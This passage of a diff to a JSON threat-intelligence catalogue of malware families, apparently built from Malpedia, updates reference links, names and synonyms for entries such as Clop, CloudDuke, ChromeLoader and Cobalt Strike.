"https://www.proofpoint.com/us/blog/threat-insight/above-fold-and-your-inbox-tracing-state-aligned-activity-targeting-journalists", - "https://nao-sec.org/2021/01/royal-road-redive.html", - "https://medium.com/@Sebdraven/how-to-unpack-chinoxy-backdoor-and-decipher-the-configuration-of-the-backdoor-4ffd98ca2a02", - "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf" + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://medium.com/@Sebdraven/how-to-unpack-chinoxy-backdoor-and-decipher-the-configuration-of-the-backdoor-4ffd98ca2a02" ], "synonyms": [], "type": [] @@ -16614,8 +17685,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chisel", - "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/", - "https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/" + "https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/", + "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/" ], "synonyms": [], "type": [] @@ -16643,7 +17714,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.choziosi", "https://cybergeeks.tech/chromeloader-browser-hijacker", "https://redcanary.com/blog/chromeloader/", - "https://blogs.vmware.com/security/2022/09/the-evolution-of-the-chromeloader-malware.html" + "https://blogs.vmware.com/security/2022/09/the-evolution-of-the-chromeloader-malware.html", + "https://blogs.blackberry.com/en/2022/11/chromeloader-infects-the-browser-by-loading-malicious-extension" ], "synonyms": [ "ChromeLoader" @@ -16658,10 +17730,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chthonic", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://bartblaze.blogspot.com/2017/08/crystal-finance-millennium-used-to.html", + "https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan", "https://securelist.com/chthonic-a-new-modification-of-zeus/68176/", - "https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan" + 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"https://blog.trendmicro.com/trendlabs-security-intelligence/operation-overtrap-targets-japanese-online-banking-users-via-bottle-exploit-kit-and-brand-new-cinobi-banking-trojan/", + "http://www.pwncode.io/2019/12/unpacking-payload-used-in-bottle-ek.html", + "https://documents.trendmicro.com/assets/pdf/Tech%20Brief_Operation%20Overtrap%20Targets%20Japanese%20Online%20Banking%20Users.pdf" ], "synonyms": [], "type": [] @@ -16705,12 +17777,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.citadel", - "https://blog.malwarebytes.com/threat-analysis/2012/11/citadel-a-cyber-criminals-ultimate-weapon/", "https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf", - "http://www.xylibox.com/2016/02/citadel-0011-atmos.html", "http://blog.jpcert.or.jp/2016/02/banking-trojan--27d6.html", + "http://www.xylibox.com/2016/02/citadel-0011-atmos.html", + "https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals", "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals" + "https://blog.malwarebytes.com/threat-analysis/2012/11/citadel-a-cyber-criminals-ultimate-weapon/" ], "synonyms": [], "type": [] @@ -16777,11 +17849,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.clipbanker", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf", "https://www.cynet.com/attack-techniques-hands-on/threat-research-report-clipbanker-13-second-attack/", "https://asec.ahnlab.com/en/35981/", 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"https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti", - "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", - "https://www.carbonblack.com/blog/cb-tau-threat-intelligence-notification-cryptomix-clop-ransomware-disables-startup-repair-removes-edits-shadow-volume-copies/", - "https://asec.ahnlab.com/wp-content/uploads/2021/01/Analysis_ReportCLOP_Ransomware.pdf", - "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", - "https://www.notion.so/S2W-LAB-Analysis-of-Clop-Ransomware-suspiciously-related-to-the-Recent-Incident-English-088056baf01242409a6e9f844f0c5f2e", - "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/", - 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"https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104", "https://actu.fr/normandie/rouen_76540/une-rancon-apres-cyberattaque-chu-rouen-ce-reclament-pirates_29475649.html", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.prodaft.com/m/reports/TeslaGun_TLPWHITE.pdf", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Clop.md", + "https://github.com/Tera0017/TAFOF-Unpacker", + "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", + "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/", + "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://labs.sentinelone.com/breaking-ta505s-crypter-with-an-smt-solver/", + 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"https://www.carbonblack.com/blog/cb-tau-threat-intelligence-notification-cryptomix-clop-ransomware-disables-startup-repair-removes-edits-shadow-volume-copies/", + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.bleepingcomputer.com/news/security/ransomware-gang-urges-victims-customers-to-demand-a-ransom-payment/", + "https://www.vice.com/en/article/wx5eyx/meet-the-ransomware-gang-behind-one-of-the-biggest-supply-chain-hacks-ever", + "https://www.zdnet.com/article/german-tech-giant-software-ag-down-after-ransomware-attack/", + "https://therecord.media/ukrainian-police-arrest-clop-ransomware-members-seize-server-infrastructure/", + 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"https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://unit42.paloaltonetworks.com/clop-ransomware/", + "https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://github.com/albertzsigovits/malware-notes/blob/master/Clop.md", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.secureworks.com/research/threat-profiles/gold-tahoe", + "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", + "https://asec.ahnlab.com/en/19542/", + "https://www.flashpoint-intel.com/blog/cl0p-and-revil-escalate-their-ransomware-tactics/", + "https://medium.com/@Sebdraven/unpacking-clop-416b83718e0f", + "https://www.bleepingcomputer.com/news/security/clop-ransomware-gang-is-back-hits-21-victims-in-a-single-month/" ], "synonyms": [], "type": [] }, "uuid": "8071f2d8-cc44-4682-845b-6f39a9f8b587", - "value": "Clop" + "value": "Clop (Windows)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudburst", + "https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3f320960-77a2-4525-8d19-95b6028ec0d5", + "value": "CLOUDBURST" }, { "description": "CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. 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"https://cert.pl/en/posts/2021/04/keeping-an-eye-on-guloader-reverse-engineering-the-loader/", - "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", - "https://www.vmray.com/cyber-security-blog/azorult-delivered-by-guloader-malware-analysis-spotlight/", - "https://www.youtube.com/watch?v=K3Yxu_9OUxU", - "https://blog.morphisec.com/guloader-the-rat-downloader", - "https://experience.mandiant.com/trending-evil-2/p/1", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/playing-with-guloader-anti-vm-techniques-malware/", - "https://twitter.com/TheEnergyStory/status/1240608893610459138", - "https://twitter.com/VK_Intel/status/1257206565146370050", - "https://blog.malwarebytes.com/scams/2020/08/sba-phishing-scams-from-malware-to-advanced-social-engineering/", - "https://www.crowdstrike.com/blog/guloader-malware-analysis/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://labs.k7computing.com/?p=20156", - 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"description": "", + "description": "F-Secure describes CloudDuke as a malware toolset known to consist of, at least, a downloader, a loader and two backdoor variants. The CloudDuke downloader will download and execute additional malware from a preconfigured location. Interestingly, that location may be either a web address or a Microsoft OneDrive account. Both CloudDuke backdoor variants support simple backdoor functionality, similar to SeaDuke. While one variant will use a preconfigured C&C server over HTTP or HTTPS, the other variant will use a Microsoft OneDrive account to exchange commands and stolen data with its operators.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloud_duke", "https://www.f-secure.com/weblog/archives/00002822.html" ], - "synonyms": [], + "synonyms": [ + "CloudLook", + "MiniDionis" + ], "type": [] }, "uuid": "40baac36-2fd0-49b3-b05b-1087d60f4f2c", - "value": "Cloud Duke" + "value": "CloudDuke" }, { "description": "", @@ -16966,25 +18063,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cmstar", - "https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", - "https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", "https://twitter.com/ClearskySec/status/963829930776723461", - "https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/" + "https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", + "https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/", + "https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan" ], "synonyms": [ "meciv" ], "type": [] }, - "related": [ - { - "dest-uuid": "e81b96a2-22e9-445e-88c7-65b67c2299ec", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e4e15ab4-9ba6-444a-b154-2854757e792e", "value": "CMSTAR" }, @@ -16999,15 +18087,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "92628a72-c874-11e8-a094-ebbb3bd1f412", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "7acd9a27-f550-4c47-9fc8-429b61b04217", "value": "CoalaBot" }, @@ -17016,8 +18095,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobaltmirage_tunnel", - "https://www.secureworks.com/blog/cobalt-mirage-conducts-ransomware-operations-in-us", - "https://www.deepinstinct.com/blog/iranian-threat-actor-continues-to-develop-mass-exploitation-tools" + "https://www.deepinstinct.com/blog/iranian-threat-actor-continues-to-develop-mass-exploitation-tools", + "https://www.secureworks.com/blog/cobalt-mirage-conducts-ransomware-operations-in-us" ], "synonyms": [], "type": [] @@ -17030,611 +18109,649 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike", - "https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/", - "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", - "https://mp.weixin.qq.com/s/peIpPJLt4NuJI1a31S_qbQ", - "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-two/", - "https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/", - "https://blog.malwarebytes.com/threat-intelligence/2021/11/a-multi-stage-powershell-based-attack-targets-kazakhstan/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", - "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", - "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/", - "https://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/", - "https://unit42.paloaltonetworks.com/fireeye-red-team-tool-breach/", - "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", - "https://isc.sans.edu/forums/diary/Excel+spreadsheets+push+SystemBC+malware/27060/", - "https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/", - "http://www.secureworks.com/research/threat-profiles/gold-kingswood", - "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", - "https://www.intezer.com/blog/malware-analysis/cobalt-strike-detect-this-persistent-threat/", - "https://wbglil.gitbook.io/cobalt-strike/", - "https://www.scmagazine.com/brief/breach/novel-obfuscation-leveraged-by-hive-ransomware", - "https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/", - "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", - "https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489", - "https://www.getrevue.co/profile/80vul/issues/hunting-cobalt-strike-dns-redirectors-by-using-zoomeye-580734", - "https://securityscorecard.com/blog/securityscorecard-finds-usaid-hack-much-larger-than-initially-thought", - "https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/", - "https://malwarelab.eu/posts/fin6-cobalt-strike/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://asec.ahnlab.com/en/31811/", - "https://www.huntress.com/blog/cybersecurity-advisory-vmware-horizon-servers-actively-being-hit-with-cobalt-strike", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sodinokibi-ransomware-cobalt-strike-pos", - "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", - "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", - "https://www.trendmicro.com/en_us/research/21/d/hello-ransomware-uses-updated-china-chopper-web-shell-sharepoint-vulnerability.html", - "https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf", - "https://www.trendmicro.com/en_us/research/21/a/earth-wendigo-injects-javascript-backdoor-to-service-worker-for-.html", - "https://kienmanowar.wordpress.com/2021/09/06/quick-analysis-cobaltstrike-loader-and-shellcode/", - "https://connormcgarr.github.io/thread-hijacking/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", - "https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf", - "https://www.contextis.com/en/blog/dll-search-order-hijacking", - "https://www.mandiant.com/media/12596/download", - "https://malwareandstuff.com/mustang-panda-joins-the-covid19-bandwagon/", - "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", - "https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/", - "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone/", - "https://www.crowdstrike.com/blog/four-popular-defensive-evasion-techniques-in-2021/", - "https://github.com/infinitumitlabs/Karakurt-Hacking-Team-CTI", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-011.pdf", - "https://redcanary.com/blog/intelligence-insights-december-2021", - "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", - "https://medium.com/walmartglobaltech/cobaltstrike-uuid-stager-ca7e82f7bb64", - "https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/harvester-new-apt-attacks-asia", - "https://www.mandiant.com/media/10916/download", - "https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/", - "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", - "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", - "https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c", - "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", - "https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt", - "https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/", - "https://twitter.com/elisalem9/status/1398566939656601606", - "https://blog.cyble.com/2022/09/07/bumblebee-returns-with-new-infection-technique/", - "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/", - "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", - "https://www.microsoft.com/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/", - "https://mergene.medium.com/enterprise-scale-threat-hunting-network-beacon-detection-with-unsupervised-ml-and-kql-part-2-bff46cfc1e7e", - "https://www.silentpush.com/blog/consequences-the-conti-leaks-and-future-problems", - "https://malware-traffic-analysis.net/2021/09/29/index.html", - "https://www.secureworks.com/research/threat-profiles/bronze-president", - "https://github.com/JPCERTCC/aa-tools/blob/master/cobaltstrikescan.py", - "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", - "https://www.recordedfuture.com/solardeflection-c2-infrastructure-used-by-nobelium-in-company-brand-misuse/", - "https://blog.morphisec.com/vmware-identity-manager-attack-backdoor", - "https://twitter.com/vikas891/status/1385306823662587905", - "https://redcanary.com/blog/grief-ransomware/", - "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf", - "https://blog.nviso.eu/2021/10/21/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-1/", - "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", - "https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir", - "https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/", - "https://michaelkoczwara.medium.com/cobalt-strike-hunting-simple-pcap-and-beacon-analysis-f51c36ce6811", - "https://cert.gov.ua/article/703548", - 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"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", - "https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis", - "https://www.telsy.com/download/5972/?uid=d7c082ba55", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta", - "https://forensicitguy.github.io/inspecting-powershell-cobalt-strike-beacon/", - "https://isc.sans.edu/diary/27308", - "https://www.huntress.com/blog/cobalt-strike-analysis-of-obfuscated-malware", - "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", - "https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/", - "http://blog.nsfocus.net/murenshark", - "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", - "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", - "https://www.secureworks.com/research/threat-profiles/gold-kingswood", - "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", - "https://research.checkpoint.com/2019/rancor-the-year-of-the-phish/", - "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", - "https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/", - "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/", - "https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html", - "https://pylos.co/2018/11/18/cozybear-in-from-the-cold/", - "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://www.youtube.com/watch?v=FC9ARZIZglI", - "https://thedfirreport.com/2021/05/02/trickbot-brief-creds-and-beacons/", - "https://ak100117.medium.com/analyzing-cobalt-strike-powershell-payload-64d55ed3521b", - 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"https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", - "https://www.mandiant.com/resources/spear-phish-ukrainian-entities", - "https://github.com/0xjxd/SquirrelWaffle-From-Maldoc-to-Cobalt-Strike/raw/main/2021-10-02%20-%20SquirrelWaffle%20-%20From%20Maldoc%20to%20Cobalt%20Strike.pdf", - "https://blog.reversinglabs.com/blog/threat-analysis-follina-exploit-powers-live-off-the-land-attacks", - "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/", - "https://www.brighttalk.com/webcast/7451/462719", - "https://community.riskiq.com/article/f0320980", - "https://blog.nviso.eu/2022/07/20/analysis-of-a-trojanized-jquery-script-gootloader-unleashed/", - "https://research.nccgroup.com/2020/06/15/striking-back-at-retired-cobalt-strike-a-look-at-a-legacy-vulnerability/", - "https://401trg.com/burning-umbrella/ ", - "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", - 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"https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", - "https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike+and+VNC+activity/28448/", - "https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b", - "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", - "https://sixdub.medium.com/using-kaitai-to-parse-cobalt-strike-beacon-configs-f5f0552d5a6e", - "https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emotet-when-project-x-turns-into-y/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/growling-bears-make-thunderous-noise.html", - "https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/", - "https://twitter.com/ffforward/status/1324281530026524672", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0503.pdf", - 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"https://www.lac.co.jp/lacwatch/people/20180521_001638.html", - "https://blog.talosintelligence.com/2020/06/indigodrop-maldocs-cobalt-strike.html", - "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-seizure-domain-names-used-furtherance-spear", - "https://isc.sans.edu/diary/rss/28448", - "https://community.riskiq.com/article/0bcefe76", - "https://twitter.com/th3_protoCOL/status/1433414685299142660?s=20", - "https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/", - "https://blog.lumen.com/zuorat-hijacks-soho-routers-to-silently-stalk-networks/", - "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618", - "https://blog.talosintelligence.com/2021/05/ctir-case-study.html", - "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", + "https://kienmanowar.wordpress.com/2021/09/06/quick-analysis-cobaltstrike-loader-and-shellcode/", + "https://www.mandiant.com/resources/unc2452-merged-into-apt29", + "https://www.welivesecurity.com/2022/04/13/eset-takes-part-global-operation-disrupt-zloader-botnets/", + "https://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/", + "https://labs.sentinelone.com/hotcobalt-new-cobalt-strike-dos-vulnerability-that-lets-you-halt-operations/", + "https://assets.virustotal.com/reports/2021trends.pdf", + "https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/", + "https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c", + "https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware/", + "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", + "https://cybleinc.com/2020/11/17/oceanlotus-continues-with-its-cyber-espionage-operations/", + "https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks", "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", - "https://experience.mandiant.com/trending-evil-2/p/1", - "https://inteloperator.medium.com/the-default-63-6f-62-61-6c-74-strike-8ac9ee0de1b7", - "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_201_haruyama_jp.pdf", - "https://www.ic3.gov/Media/News/2021/210823.pdf", - "https://www.mdsec.co.uk/2021/07/investigating-a-suspicious-service/", - "https://blog.nviso.eu/2021/10/27/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-2/", - "https://www.sentinelone.com/blog/hive-ransomware-deploys-novel-ipfuscation-technique/", - "https://thedfirreport.com/2020/10/08/ryuks-return/", - "https://www.youtube.com/watch?v=LA-XE5Jy2kU", - "https://blog.securehat.co.uk/malware-analysis/extracting-the-cobalt-strike-config-from-a-teardrop-loader", - "https://www.trendmicro.com/en_us/research/20/i/u-s--justice-department-charges-apt41-hackers-over-global-cyberattacks.html", + "https://www.arashparsa.com/catching-a-malware-with-no-name/", + "https://labs.f-secure.com/blog/detecting-exposed-cobalt-strike-dns-redirectors", + "https://blog.reconinfosec.com/analysis-of-exploitation-cve-2020-10189/", + "https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/", + "https://www.secureworks.com/blog/hades-ransomware-operators-use-distinctive-tactics-and-infrastructure", + "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/", + "https://twitter.com/redcanary/status/1334224861628039169", + "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", + "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", + "https://www.mandiant.com/resources/defining-cobalt-strike-components", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", + "https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections", + "https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware", + "https://www.inky.com/blog/colonial-pipeline-ransomware-hack-unleashes-flood-of-related-phishing-attempts", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", + "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf", + "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", + "https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/", + "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", + 